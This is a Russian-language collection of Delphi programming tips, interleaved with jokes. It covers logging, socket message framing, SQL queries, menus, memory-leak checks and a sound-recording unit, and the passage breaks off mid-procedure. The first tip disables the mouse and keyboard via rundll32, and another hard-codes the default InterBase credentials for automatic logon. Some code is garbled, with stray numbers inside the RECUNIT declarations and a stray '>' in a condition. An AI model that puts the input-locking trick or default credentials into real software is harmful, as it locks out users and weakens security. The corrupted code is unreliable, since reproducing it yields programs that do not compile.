Как заблокировать компьютер.
| Звонок Юзера (Ю) в tech support фирмы (скажем Datacom) производящей блоки питания: Ю- Добрый день у меня из блока питания идет дым, что делать? Сотрудник (С) - Вам нужен новый блок питания. Ю - Нет не нужен, мне нужно что бы из старого не шел дым. С- Вы меня наверное не поняли но Вам нужен новый блок питания. Ю- Зачем мне новый, Вы просто скажите что нужно сделать что бы из старого дым не шел. С- Наберите в autoexec"e строку no smoke... Проходит 5 минут. Ю- Не работает. С- Значит Вам нужен новый блок питания. Ю- Нет мне нужно что бы из старого не шел дым. С- У Вас Винды стоят? Ю- Да. С - Ок. Звоните в tech support Microsoft..там все объяснят.. Через 15 минут... Тот же Юзер - Добрый день, мне нужен новый блок питания. С (удивленно) - Эээ... а можно поинтресоваться... что Вам сказали в Microsoft??? Ю- Оказывается все было очень просто: команда no smoke не подходит к моему блоку питания... |
procedure LockPC;
var
OldValue: LongBool;
begin
SystemParametersInfo(97, Word(Bool), @OldValue, 0);
WinExec(PChar('rundll32 mouse,disable'), SW_SHOW);
WinExec(PChar('rundll32 keyboard,disable'), SW_SHOW);
end;
|
Фильтр посредством логического поля.
Автор: Matthew Augier В таблице имеется поле Customer:Boolean. Я хочу чтобы таблица показывала только Customer или только не-customer.Установите ключ (вы должны иметь индекс для этого поля) одним из указанных способов:
tablex.SetRange([False],[False]) // для всех не-customer... tablex.SetRange([True], [True]]) // для всех customer... tablex.SetRange([False],[True]) // для всех записей... |
Автоматический logon к локальной InterBase.

USER NAME=sysdba
PASSWORD=masterkey
Затем установите свойство компонента TDataBase LoginPrompt в False.
После этого, с помощью свойства DataBaseName, вы должны создать прикладной псевдоним (Alias) и связать TQuery/TTable с вашим компонентом TDataBase.
Ведение log файлов.
Автор: Separator WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Ведение log файлов
С помощью этих процедур можно вести log.
procedure AddLog(LogString: String; LogFileName: string); -
добавляет одну строку к log файлу
procedure GetLog(Count: integer; Strings: TStrings; LogFileName: string); -
возвращает последние Count записей
Зависимости: Classes, SysUtils
Автор: Separator, vilgelm@mail.kz, Алматы
Copyright: Вильгельм Сергей
Дата: 8 января 2003 г.
***************************************************** }
procedure AddLog(LogString: string; LogFileName: string);
var
F: TFileStream;
PStr: PChar;
LengthLogString: integer;
begin
LengthLogString := Length(LogString) + 2;
LogString := LogString + #13#10;
PStr := StrAlloc(LengthLogString + 1);
StrPCopy(PStr, LogString);
if FileExists(LogFileName) then
F := TFileStream.Create(LogFileName, fmOpenWrite)
else
F := TFileStream.Create(LogFileName, fmCreate);
F.Position := F.Size;
F.Write(PStr^, LengthLogString);
StrDispose(PStr);
F.Free;
end;
procedure GetLog(Count: integer; Strings: TStrings; LogFileName: string);
var
F: TFileStream;
PStr: PChar;
St: string;
i, LenBlock, LenFirstString, LenTemp: integer;
TempStrings: TStringList;
begin
if FileExists(LogFileName) then
begin
LenBlock := 4000;
TempStrings := TStringList.Create;
F := TFileStream.Create(LogFileName, fmOpenRead);
F.Position := F.Size;
LenFirstString := 0;
PStr := StrAlloc(LenBlock);
repeat
if F.Position - LenBlock < 0 then
begin
LenBlock := F.Position;
StrDispose(PStr);
PStr := StrAlloc(LenBlock);
end;
F.Position := F.Position - LenBlock;
F.Read(PStr^, LenBlock);
St := PStr;
SetLength(St, LenBlock);
TempStrings.Text := St;
F.Position := F.Position - LenBlock;
if F.Position <> 0 then
begin
LenFirstString := Length(TempStrings.Strings[0]);
TempStrings.Delete(0)
end
else
LenFirstString := 0;
F.Position := F.Position + LenFirstString;
for i := TempStrings.Count - 1 downto 0 do
begin
Strings.Add(TempStrings.Strings[i]);
if Strings.Count = Count then
begin
F.Free;
TempStrings.Free;
StrDispose(PStr);
exit
end
end;
until F.Position = 0;
StrDispose(PStr);
F.Free;
TempStrings.Free
end
end;
Пример использования:
procedure TForm1.Button1Click(Sender: TObject); begin AddLog(Edit1.Text); end; procedure TForm1.Button2Click(Sender: TObject); begin ListBox1.Items.Clear; GetLog(50, ListBox1.Items); end;
Ограничение log-файла по количеству строк.
Автор: VID WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Ограничение log-файла, по количеству строк
Функция добавляет в файл LogFileName строку Log.
Если файл LogFileName не существует, он будет создан.
В параметре StrLimit указывается ограничение на
количество строк в лог-файле. Функция возвращает
число строк в лог-файле (LogFileName)
Зависимости: sysutils, classes, system
Автор: VID, vidsnap@mail.ru, ICQ:132234868, Махачкала
Copyright: VID
Дата: 11 июня 2002 г.
***************************************************** }
function WriteLog(LogFileName, Log: string; StrLimit: Integer): Integer;
var
F: TextFile;
function CheckLogFile: Integer;
var
I, Diff: Integer;
FStr: TstringList;
begin
FStr := TStringList.Create;
FStr.LoadFromFile(LogFileName);
Diff := 0;
if FStr.Count > StrLimit then
begin
Diff := FStr.Count - StrLimit;
AssignFile(F, LogFileName);
Rewrite(F);
for I := Diff to FStr.Count - 1 do
WriteLn(F, FStr[i]);
CloseFile(F);
end;
Result := FStr.Count - Diff;
FStr.Free;
end;
begin
Result := 0;
if StrLimit < 1 then
Exit;
try
AssignFile(F, LogFileName);
if FileExists(LogFileName) then
Append(f)
else
Rewrite(F);
WriteLn(F, Log);
Closefile(f);
except Exit;
end;
Result := CheckLogFile;
end;
Сиротские Master-записи.
Автор: David G. Wachtel Как с помощью SQL найти записи таблицы, которых нет в другой таблице?Вот пример:
with PeopleHiddenForm.PersonQuery.SQL do begin
Add('Select P.Last, P.First, P.Middle, P."Suffix", P.KeyNo, COUNT(PersMemL.PersonKeyNo)');
Add('From Person P Left Outer Join ');
Add(' PersMemL PersMemL');
Add('On ((P.KeyNo = PersMemL.PersonKeyNo))');
Add('Group By P.Last, P.First, P.Middle, P.Suffix, P.KeyNo');
Add('Having ((Count(PersmemL.PersonKeyNo) = 0))');
|
На практике этот способ оказывается очень эффективным, по крайней мере, с локальным SQL в таблицах Paradox.
Процедуры передачи и приема длинных блоков данных, с учетом фрагментации и возможной слепки пакетов, на компоненты TServerSocket и TClientSocket.
Автор: Subfire WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Процедуры передачи и приема длинных блоков данных, с учетом фрагментации
и возможной слепки пакетов. На компоненты TServerSocket,TClientSocket ..SendText
Данная модуль содержит функции, которые позволяет принимать и отправлять длинные блоки данных.
В код встрена автоматическая обработка фрагментации и слепки пакетов.
Данные процелуры предназначены для передачи текстовых строк, и используют
методы SendText, ReciveText TCustomSocket и предназначены для использования
с компонентами TClientSocket, TServerSocket и других производных от TCustomSocket.
Данные решение отличается простотой использования, скоростью обработки и надежностью:
тестировалось посылкой блоков данных размером 1-16000, было обработано 15100 блоков данных.
Последующее сравнение отправленнх и полученных данных показало отсутвие каких либо
ошибок при передачи, сборки и фрагментации данных.
Перед использованием нужно приготовить пользовательскую процедуру, которая
будет вызываться каждый раз, когда получен очередной БЛОК данных. Данная процедура
должна иметь ОДИН входной параметр типа STRING:
procedure SomeUserProc(S:String);
begin
....
end;
Модуль содержит 3 функции, из которых пользьзователю нужны только 2
function SendLongText(Socket:TCustomWinSocket; S:String):boolean;
function ReceiveLongText(Socket:TCustomWinSocket;MySProc:TMySProc;SafeCalledStr :string = ''):boolean;
Фунция SendText служит для отправки пакетов. В качестве параметров ей пердается
объект TCustomWinSocket (например это ClientSocket.Socket) и собственно
отправляемя строка S (ShortString,AnsiString,WideString).
В случае успешной отправки функция возвращает true, иначе false.
Для обработки используйте GetLastError().
function ReceiveLongText(Socket:TCustomWinSocket;MySProc:TMySProc;SafeCalledStr :string = ''):boolean;
Используется для получения. Даннах фунция должна быть вызвана в событии On*Read компонента.
В качестве параметров необходимо передать TCustomWinSocket (например ServerSocket.Socket) и имя процедуры,
назначенной для обработки данных (например, ранее приготовленная SomeUserProc).
Третий параметр ЗАПОЛНЯТЬ НЕ СЛЕДУЕТ!!!
Процедура FlushBuffers является внутренней и очищает буфер приема,
и напрямую пользователем вызываться не должна.
Зависимости: ScktComp;
Автор: Subfire, subfire@mail.ru, ICQ:55161852, Санкт-Петербург
Copyright: Егоров Виктор aka Subfire
Дата: 2 октября 2002 г.
***************************************************** }
unit LongDataTransfer;
interface
uses ScktComp;
type
TMySProc = procedure(const S: AnsiString);
function SendLongText(Socket: TCustomWinSocket; S: string): boolean;
function ReceiveLongText(Socket: TCustomWinSocket; MySProc: TMySProc;
SafeCalledStr: string = ''): boolean;
var
InputBuf: string;
InputDataSize: LongWord;
InputReceivedSize: LongWord;
implementation
function SendLongText(Socket: TCustomWinSocket; S: string): boolean;
var
TextSize: integer;
TSSig: string[4];
begin
Result := True;
try
if not Socket.Connected then
Exit;
TextSize := Length(S);
asm
mov EAX,TextSize;
mov dword ptr TSSig[1],EAX;
mov byte ptr TSSig[0],4;
end;
S := string(TSSig + S);
Socket.SendBuf(Pointer(S)^, Length(S));
except Result := False;
end;
end;
procedure FlushBuffers;
begin
InputBuf := '';
InputDataSize := 0;
InputReceivedSize := 0;
end;
function ReceiveLongText(Socket: TCustomWinSocket; MySProc: TMySProc;
SafeCalledStr: string = ''): boolean;
var
S: string;
RDSize: LongWord;
F: string[4];
begin
Result := True;
try
if SafeCalledStr = '' then
begin
RDSize := Socket.ReceiveLength;
S := Socket.ReceiveText;
end
else
begin
S := SafeCalledStr;
RDSize := length(S);
end;
if (Length(InputBuf) < 4) and (Length(InputBuf) > 0) then
begin //Корректировка, в том случае
S := InputBuf + S; //если фрагментирован сам заголовок
FlushBuffers; //блока данных
end;
if InputBuf = '' then
begin //Самый первый пакет;
F := Copy(S, 0, 4);
asm
mov EAX,dword ptr F[1];
mov InputDataSize,EAX;
end;
if InputDataSize = RDSize - 4 then
begin //Один блок в пакете
InputBuf := Copy(S, 5, RDSize - 4); //ни слепки, ни фрагментации нет.
MySProc(InputBuf);
FlushBuffers;
Exit;
end;
if InputDataSize < RDSize - 4 then
begin //Пакет слеплен.
InputBuf := Copy(S, 5, InputDataSize);
MySProc(InputBuf);
Delete(S, 1, InputDataSize + 4);
FlushBuffers;
ReceiveLongText(Socket, MySProc, S);
Exit;
end;
if InputDataSize > RDSize - 4 then
begin //это ПЕРВЫЙ фрагмент
InputBuf := Copy(S, 5, RDSize - 4); //большого пакета
InputReceivedSize := RDSize - 4;
end;
end
else
begin //Буфер приема не пуст
//InputBuf:=
if RDSize + InputReceivedSize = InputDataSize then
begin //Получили последний
InputBuf := InputBuf + Copy(S, 0, RDSize); //фрагмент целиком
MySProc(InputBuf); //в пакете, данных
FlushBuffers; // в пакете больше нет
Exit;
end;
if RDSize + InputReceivedSize < InputDataSize then // Получили
begin //очередной
InputBuf := InputBuf + Copy(S, 0, RDSize); //фрагмент
InputReceivedSize := InputReceivedSize + RDSize;
Exit;
end;
if RDSize + InputReceivedSize > InputDataSize then //Поледний фрагмент
begin // но в пакете есть еще данные - слеплен.
InputBuf := InputBuf + Copy(S, 0, InputDataSize - InputReceivedSize);
MySProc(InputBuf);
Delete(S, 1, InputDataSize - InputReceivedSize);
FlushBuffers;
ReceiveLongText(Socket, MySProc, S);
end;
end;
except Result := False;
end;
end;
end.
Пример использования:
...
procedure DataProcessing(S: string); //Эта процедура будет обрабатывать
begin //полученные данные, и
ShowMessage(S); //автоматически вызывается каждый
end; //при получении нового блока данных.
//Процедура отправки - по нажатию кнопки отправляем через компонент
//ClientSocket три строки.
procedure TForm1.Button1Click(Sender: TObject);
begin
SendLongText(ClientSocket.Socket, 'Первая строчка!');
SendLongText(ClientSocket.Socket, 'Вторая строчка!');
SendLongText(ClientSocket.Socket,
'Третья строчка! Все три показаны по отдельности!!!');
end;
//Процедура ServerSocket OnClientRead содержит одну строчку
//вызова ReceiveLongText, передавая ей в качесте параметра
//имя вашей процедуры обработки.
procedure TForm1.ServerSocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
begin
ReceiveLongText(Socket, DataProcessing);
end;
// И все!!! Не правда ли просто? :) Если у вас есть какие-либо вопросы,
// комментарии, замечания, bug reports - пишите на subfire@mail.ri
Процедуры передачи и приема блоков данных, с учетом фрагментации и склейки пакетов, построено на TServerSocket и TClientSocket.
Автор: Camsonov Aleksandr WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Процедуры передачи и приема блоков данных, с учетом фрагментации
и склейки пакетов. Построено на TServerSocket,TClientSocket ..SendText
Отправка:
пользователь создает строку 'Строка пользователя'
дорабатываем строку до '<19>Строка пользователя'
отправляем
Принимаем:
1 принятый кусок строки добавляем в конец буферной строки bstr;
2 вызываем прочедуру которая
a) удаляет (если есть ;|) часть bstr до '<'; //(это на случай ошибки,
правда такого явления я незамечал здесь но на всякий случай предусмотрел так спокойнее)
b) копирует участок '<число>' и достает из него число;
c) если длинна полученного буфера минус длинна участка '<число>' меньше bstr
то ниче не делаем и выходим из проседуры.
иначе отрезаем от bstr участок '<число>' копируем кусок bstr длинной 'число'
символов в ostr, удаляем этотже кусок из bstr.
d) передает ostr кому оно надо ибо ostr это то что послал пользоатель отдельным куском.
все. Пом очень просто алгоритм работает без отказно и ниче тут непопишеш.
Зависимости: ScktComp
Автор: Camsonov Aleksandr, s002156@mail.ru, Tver
Copyright: SELMAP_Group_Programmers/s002156Shurik
Дата: 2 октября 2002 г.
***************************************************** }
var
Buffer: string = '';
{$R *.dfm}
function GetUserStringFromBuffer(var UserString: string): Boolean;
var
i: Integer;
bf: string;
begin
Result := False;
if Length(Buffer) > 0 then
repeat
if Length(Buffer) > 0 then
if Buffer[1] <> '<' then
Delete(Buffer, 1, 1);
until (Buffer[1] = '<') or (Length(Buffer) <= 1);
if Length(Buffer) < 3 then
exit;
i := 1;
bf := '';
repeat
if Length(Buffer) >= i then
begin
inc(i);
if Buffer[i] <> '>' then
bf := bf + Buffer[i];
end;
until (Buffer[i] = '>') or (Length(Buffer) <= 1);
if StrToInt(bf) + i > Length(Buffer) then
exit
else
begin
Delete(Buffer, 1, i);
UserString := Copy(Buffer, 1, StrToInt(bf));
Result := True;
Delete(Buffer, 1, StrToInt(bf));
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
S: string;
begin
s := '<' + inttostr(length(Edit1.Text)) + '>' + Edit1.Text;
ClientSocket1.Socket.SendText(S);
//В качестве ТЕСТА отправляю еще несколько копий этой строки
//для того чтобы все они ушли в одном пакете. (слипание)
ClientSocket1.Socket.SendText(S);
ClientSocket1.Socket.SendText(S);
ClientSocket1.Socket.SendText(S);
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var
GetResult: Boolean;
UserStr: string;
begin
Buffer := Buffer + Socket.ReceiveText;
// в буфер приходят слипшиеся строки
//перезапуск функции вытаскивания кусков до False (пока куски незакончатся)
//если отправленный текст получен неполностью тоже возвращается False
repeat
GetResult := GetUserStringFromBuffer(UserStr);
if GetResult then
ShowMessage(UserStr); //передается отосланная строка
//ЦЕЛАЯ И БЕЗ МУСОРА!
until not GetResult;
end;
Писать длинные подсказки на StatusBare.

Этот пример показывает, как сделать, чтобы на StatusBar выводилась длинная подсказка при поднесении мыши к объекту.
public procedure DoShowHint(Sender: TObject); ... procedure TForm1.DoShowHint(Sender: TObject); begin StatusBar1.SimpleText := Application.Hint; end; procedure TForm1.FormCreate(Sender: TObject); begin Application.OnHint := DoShowHint; Button1.Hint := 'Button 1|It is button 1'; Button2.Hint := 'Button 2|It is button 2'; Button3.Hint := 'Button 3|It is button 3'; Form1.ShowHint := true; end; |
Символ "|" позволяет разделять две подсказки: та, что появляется на желтом фоне, и та, что лежит в Application.Hint. Для работы с частями подсказки существуют функции GetShortHint, GetLongHint.
Как преобразовать длинный IP адрес в короткий адрес-порт.
| Расшифровка аббривеатуры YAHOO(перевод): Еще один иерархически навязчивый оракул. |
Некоторые старые internet протоколы (такие как FTP) посылают IP адреса и номера портов в шестизначном формате XXX.XXX.XXX.XXX.XX.XXX Следующий код позволяет преобразовать такой адрес к нормальному четырёхзначному IP адресу.
procedure LongIPToShort(aLongIPAddress: string;
out ShortIPAddress: string; out PortNumber: Integer);
var
i, DotPos, tempPort: Integer;
tempAddy, temp: string;
TempStr: string;
begin
tempAddy := '';
tempStr := '';
// Определяем, какой символ использует отправитель
// в качестве разделителя длинного IP: , или .
if (POS(',', aLongIPAddress) <> 0) then
TempStr := ','
else
TempStr := '.';
for I := 1 to 4 do
begin
DotPOS := POS(TempStr, aLongIPAddress);
tempAddy := tempAddy + (Copy(aLongIPAddress, 1, (DotPos - 1)));
if I <> 4 then
TempADdy := TempAddy + '.';
Delete(aLongIpAddress, 1, DotPos);
end;
DotPos := Pos(TempStr, aLongIpAddress);
temp := Copy(aLongIpAddress, 1, (DotPos - 1));
tempPort := (StrToInt(temp) * 256);
Delete(aLongIpAddress, 1, DotPos);
TempPort := tempPort + StrToInt(ALongIpAddress);
ShortIPAddress := TempADdy;
PortNumber := tempPort;
end;
|
Очень длинные меню.

Данный код изменяет количество пунктов меню в зависимости от текущего разрешения. Данная схема работает безукоризненно. В нижеприведенном коде mnuView - выводимое меню, HandleMenuClick - назначенный обработчик для события OnClick.
procedure TfrmMain.LoadViewMenu;
var
itemNum: integer;
mnu: TMenuItem;
menuItemHeight: integer;
itemsPerColumn: integer;
begin
{удаляем все видимые пункты меню}
while mnuView.Count > 0 do
begin
{метод Free удаляет пункт меню}
mnuView.Items[0].Free;
end;
{находим высоту каждого пункта меню.
Значение 2 получено в результате экспериментов}
menuItemHeight := GetSystemMetrics(SM_CYMENU) + 2;
{вычисляем количество пунктов в колонке меню}
itemsPerColumn := screen.height div menuItemHeight;
{создаем пункты меню}
for itemNum := 0 to 99 do
begin
mnu := TMenuItem.Create(self);
mnu.caption := 'Пункт ' + inttostr(itemNum);
{при необходимости начинаем с новой колонки}
if (itemNum mod itemsPerColumn = 0) and (itemNum > 0) then
begin
mnu.break := mbBarBreak;
end;
{назначаем обработчик события OnClick}
mnu.OnClick := HandleMenuClick;
mnuView.Add(mnu);
end;
end;
|
Определить нажатие клавиши во время выполнения цикла.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
LoopAborted: Boolean;
i: Integer;
begin
LoopAborted := False;
i := 0;
repeat
// Your Code...
Caption := IntToStr(i);
Application.ProcessMessages;
if GetKeyState(VK_Escape) and 128 = 128 then
begin
LoopAborted := True;
Break;
end;
Inc(i);
until i = 100000;
if LoopAborted then
ShowMessage('User has aborted the loop!');
end;
Потеря памяти.
| Автор: http://sunsb.dax.ru |
| 16 мегабайт тому назад... |
Если Ваша программа после завершенмя " съест" некоторое количество памяти, Windows тактично об этом умолчит, и ошибка останется не найденной. Поэтому я рекомендую на этапе разработки, в файл проекта вставлять модуль checkMem, который отследит некорректную работу с памятью. Вставлять его нужно первым, для обеспечения чистоты эксперимента. Текст модуля:
unit checkMem;
interface
implementation
uses sysUtils, dialogs;
var HPs : THeapStatus;
var HPe : THeapStatus;
var lost: integer;
initialization
HPs := getHeapStatus;
finalization
HPe := getHeapStatus;
Lost:= HPe.TotalAllocated - HPs.TotalAllocated;
if lost > 0 then begin
beep;
ShowMessage( format('lostMem: %d',[ lost ]) );
end;
end.
|
Object Inspector. Потеря обработчиков событий компонентов фрейма.
Елена Филиппова Создаем фрейм, содержащий контролы, которые имеют собственные обработчики событий. При помещении на форму таких фреймов нужно быть с ними очень осторожными в design-time. Достаточно случайно "войти" в процедуру обработки такого события для компонента фрейма, чтобы IDE автоматически сформировала обработчик этого события для формы, а не для фрейма. После этого, при удалении этого обработчика, обработчик "задетого" события во фрейме полностью игнорируется. "Камушек" кроется в том, что IDE при удалении обработчика из ObjectInspector не вытирает упоминание о нем из файла *.dfm, а просто присваивает ему там nil! Для иллюстрации "камня" приводится тестовый проект. На форме лежат два совершенно одинаковых фрейма, исходный код и OI показывают, что эти фреймы абсолютно идентичны, но(!) один из них отрабатывает нажатие на кнопку, а второй полностью его игнорирует.Источник беды виден в файле формы *.dfm (View as text) :
....
inline frClick1: TfrClick
Left = 5
Top = 32
end
inline frClick2: TfrClick
Left = 6
Top = 128
TabOrder = 1
inherited BitBtn1: TBitBtn
OnClick = nil
end
end
....
|
Так что, может быть, это не глюк, а фича такая: "OnClick = nil" - способ отключить унаследованный от фрейма обработчик, не прибегая к коду.
Как уменьшить дату в Paradox.
В Local SQL для Paradox имеется ошибка, вместо вычитания происходит сложение даты с константой.
// Это добавляет единицу! UPDATE SAMPLE.DB SET DT = DT - 1 // а данное выражение даст правильный результат: UPDATE SAMPLE.DB SET DT = DT + (-1) |
Источник: http://www.delphifaq.com/fq/q0048.shtml
Низкоуровневые процедуры обработки звука.
| Программисту задают вопрос: - Сколько Вы знаете позиций для занятий любовью? - Он сверху, она снизу. Он снизу, она сверху. - И все? ...немного подумав - Оба сверху. Оба снизу. |
Включенный в код модуль RECUNIT делает всю изнурительную работу по извлечению звука со входа звуковой карты.
var
WaveRecorder: TWaveRecorder;
...
WaveRecorder := TwaveRecorder(2048, 4); // 4 размером 2048 байт
{ Устанавливает параметры дискретизации }
with WaveRecorder.pWavefmtEx do
begin
wFormatTag := WAVE_FORMAT_PCM;
nChannels := 1;
nSamplesPerSec := 20000;
wBitsPerSample := 16;
nAvgBytesPerSec := nSamplesPerSec * (wBitsPerSample div 8) * nChannels;
end;
// Затем используем вариантную запись, поскольку я не знаю
// как получить адрес самого объекта
WaveRecorder.SetupRecord(@WaveRecorder);
// Начинаем запись
WaveRecorder.StartRecord;
...При каждом заполнении буфера вызывается
процедура WaveRecorder.Processbuffer.
// Заканчиваем запись
WaveRecorder.StopRecord;
WaveRecorder.Destroy;
|
{
Имя файла: RECUNIT.PAS V 1.01
Создан: Авг 19 1996 в 21:56 на IBM ThinkPad
Ревизия #7: Авг 22 1997, 15:01 на IBM ThinkPad
-John Mertus
Данный модуль содержит необходимые процедуры для записи звука.
Версия 1.00 - первый релиз
1.01 - добавлен TWaveInGetErrorText
}
{-----------------Unit-RECUNIT---------------------John Mertus---Авг 96---}
unit RECUNIT;
{*************************************************************************}
interface
uses
Windows, MMSystem, SysUtils, MSACM;
{ Ниже определен класс TWaveRecorder для обслуживания входа звуковой }
{ карты. Ожидается, что новый класс будет производным от TWaveRecorder }
{ и перекроет TWaveRecorder.ProcessBuffer. После начала записи данная }
{ процедура вызывается каждый раз при наличии в буфере аудио-данных. }
const
MAX_BUFFERS = 8;
type
PWaveRecorder = ^TWaveRecorder;
TWaveRecorder = class(TObject)
constructor Create(BfSize, TotalBuffers: Integer);
destructor Destroy; override;
procedure ProcessBuffer(uMsg: Word; P: Pointer; n: Integer);
virtual;
private
fBufferSize: Integer; // Размер буфера
BufIndex: Integer;
fTotalBuffers: Integer;
pWaveHeader: array[0..MAX_BUFFERS - 1] of PWAVEHDR;
hWaveHeader: array[0..MAX_BUFFERS - 1] of THANDLE;
hWaveBuffer: array[0..MAX_BUFFERS - 1] of THANDLE;
hWaveFmtEx: THANDLE;
dwByteDataSize: DWORD;
dwTotalWaveSize: DWORD;
RecordActive: Boolean;
bDeviceOpen: Boolean;
{ Внутренние функции класса }
function InitWaveHeaders: Boolean;
function AllocPCMBuffers: Boolean;
procedure FreePCMBuffers;
function AllocWaveFormatEx: Boolean;
procedure FreeWaveFormatEx;
function AllocWaveHeaders: Boolean;
procedure FreeWaveHeader;
function AddNextBuffer: Boolean;
procedure CloseWaveDeviceRecord;
public
{ Public declarations }
pWaveFmtEx: PWaveFormatEx;
WaveBufSize: Integer; // Размер поля nBlockAlign
InitWaveRecorder: Boolean;
RecErrorMessage: string;
QueuedBuffers,
ProcessedBuffers: Integer;
pWaveBuffer: array[0..MAX_BUFFERS - 1] of lpstr;
WaveIn: HWAVEIN; { Дескриптор Wav-устройства }
procedure StopRecord;
function 477576218068 StartRecord: Boolean;
Function477576218068 SetupRecord(P: PWaveRecorder): Boolean;
end;
{*************************************************************************}
implementation
{-------------TWaveInGetErrorText-----------John Mertus---14-Июнь--97--}
function TWaveInGetErrorText(iErr: Integer): string;
{ Выдает сообщения об ошибках WaveIn в формате Pascal }
{ iErr - номер ошибки }
{ }
{**********************************************************************}
var
PlayInErrorMsgC: array[0..255] of Char;
begin
waveInGetErrorText(iErr, PlayInErrorMsgC, 255);
TWaveInGetErrorText := StrPas(PlayInErrorMsgC);
end;
{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AllocWaveFormatEx: Boolean;
{ Распределяем формат большого размера, требуемый для инсталляции ACM-в}
{ }
{**********************************************************************}
var
MaxFmtSize: UINT;
begin
{ maxFmtSize - сумма sizeof(WAVEFORMATEX) + pwavefmtex.cbSize }
if (acmMetrics(0, ACM_METRIC_MAX_SIZE_FORMAT, maxFmtSize) <> 0) > then
begin
RecErrorMessage := 'Ошибка получения размера формата максимального сжатия';
AllocWaveFormatEx := False;
Exit;
end;
{ распределяем структуру WAVEFMTEX }
hWaveFmtEx := GlobalAlloc(GMEM_MOVEABLE, maxFmtSize);
if (hWaveFmtEx = 0) then
begin
RecErrorMessage := 'Ошибка распределения памяти для структуры WaveFormatEx';
AllocWaveFormatEx := False;
Exit;
end;
pWaveFmtEx := PWaveFormatEx(GlobalLock(hWaveFmtEx));
if (pWaveFmtEx = nil) then
begin
RecErrorMessage := 'Ошибка блокировки памяти WaveFormatEx';
AllocWaveFormatEx := False;
Exit;
end;
{ инициализация формата в стандарте PCM }
ZeroMemory(pwavefmtex, maxFmtSize);
pwavefmtex.wFormatTag := WAVE_FORMAT_PCM;
pwavefmtex.nChannels := 1;
pwavefmtex.nSamplesPerSec := 20000;
pwavefmtex.nBlockAlign := 1;
pwavefmtex.wBitsPerSample := 16;
pwavefmtex.nAvgBytesPerSec := pwavefmtex.nSamplesPerSec *
(pwavefmtex.wBitsPerSample div 8) * pwavefmtex.nChannels;
pwavefmtex.cbSize := 0;
{ Все успешно, идем домой }
AllocWaveFormatEx := True;
end;
{-------------InitWaveHeaders---------------John Mertus---14-Июнь--97--}
function TWaveRecorder.InitWaveHeaders: Boolean;
{ Распределяем память, обнуляем заголовок wave и инициализируем }
{ }
{**********************************************************************}
var
i: Integer;
begin
{ делаем размер буфера кратным величине блока... }
WaveBufSize := fBufferSize - (fBufferSize mod pwavefmtex.nBlockAlign);
{ Устанавливаем wave-заголовки }
for i := 0 to fTotalBuffers - 1 do
with pWaveHeader[i]^ do
begin
lpData := pWaveBuffer[i]; // адрес буфера waveform
dwBufferLength := WaveBufSize; // размер, в байтах, буфера
dwBytesRecorded := 0; // смотри ниже
dwUser := 0; // 32 бита данных пользователя
dwFlags := 0; // смотри ниже
dwLoops := 0; // смотри ниже
lpNext := nil; // зарезервировано; должен быть ноль
reserved := 0; // зарезервировано; должен быть ноль
end;
InitWaveHeaders := TRUE;
end;
{-------------AllocWaveHeader----------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AllocWaveHeaders: Boolean;
{ Распределяем и блокируем память заголовка }
{ }
{***********************************************************************}
var
i: Integer;
begin
for i := 0 to fTotalBuffers - 1 do
begin
hwaveheader[i] := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE or
GMEM_ZEROINIT, sizeof(TWAVEHDR));
if (hwaveheader[i] = 0) then
begin
{ Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
RecErrorMessage := 'Ошибка распределения памяти для wave-заголовка';
AllocWaveHeaders := FALSE;
Exit;
end;
pwaveheader[i] := GlobalLock(hwaveheader[i]);
if (pwaveheader[i] = nil) then
begin
{ Примечание: Это может привести к утечке памяти, надеюсь скоро исправить }
RecErrorMessage := 'Не могу заблокировать память заголовка для записи';
AllocWaveHeaders := FALSE;
Exit;
end;
end;
AllocWaveHeaders := TRUE;
end;
{---------------FreeWaveHeader---------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.FreeWaveHeader;
{ Просто освобождаем распределенную AllocWaveHeaders память. }
{ }
{***********************************************************************}
var
i: Integer;
begin
for i := 0 to fTotalBuffers - 1 do
begin
if (hWaveHeader[i] <> 0) then
begin
GlobalUnlock(hwaveheader[i]);
GlobalFree(hwaveheader[i]);
hWaveHeader[i] := 0;
end
end;
end;
{-------------AllocPCMBuffers----------------John Mertus---14-Июнь--97--}
function TWaveRecorder.AllocPCMBuffers: Boolean;
{ Распределяем и блокируем память waveform. }
{ }
{***********************************************************************}
var
i: Integer;
begin
for i := 0 to fTotalBuffers - 1 do
begin
hWaveBuffer[i] := GlobalAlloc(GMEM_MOVEABLE or GMEM_SHARE, fBufferSize);
if (hWaveBuffer[i] = 0) then
begin
{ Здесь возможна утечка памяти }
RecErrorMessage := 'Ошибка распределения памяти wave-буфера';
AllocPCMBuffers := False;
Exit;
end;
pWaveBuffer[i] := GlobalLock(hWaveBuffer[i]);
if (pWaveBuffer[i] = nil) then
begin
{ Здесь возможна утечка памяти }
RecErrorMessage := 'Ошибка блокирования памяти wave-буфера';
AllocPCMBuffers := False;
Exit;
end;
pWaveHeader[i].lpData := pWaveBuffer[i];
end;
AllocPCMBuffers := TRUE;
end;
{--------------FreePCMBuffers----------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.FreePCMBuffers;
{ Освобождаем использованную AllocPCMBuffers память. }
{ }
{***********************************************************************}
var
i: Integer;
begin
for i := 0 to fTotalBuffers - 1 do
begin
if (hWaveBuffer[i] <> 0) then
begin
GlobalUnlock(hWaveBuffer[i]);
GlobalFree(hWaveBuffer[i]);
hWaveBuffer[i] := 0;
pWaveBuffer[i] := nil;
end;
end;
end;
{--------------FreeWaveFormatEx--------------John Mertus---14-Июнь--97--}
procedure TWaveRecorder.FreeWaveFormatEx;
{ Просто освобождаем заголовки ExFormat headers }
{ }
{***********************************************************************}
begin
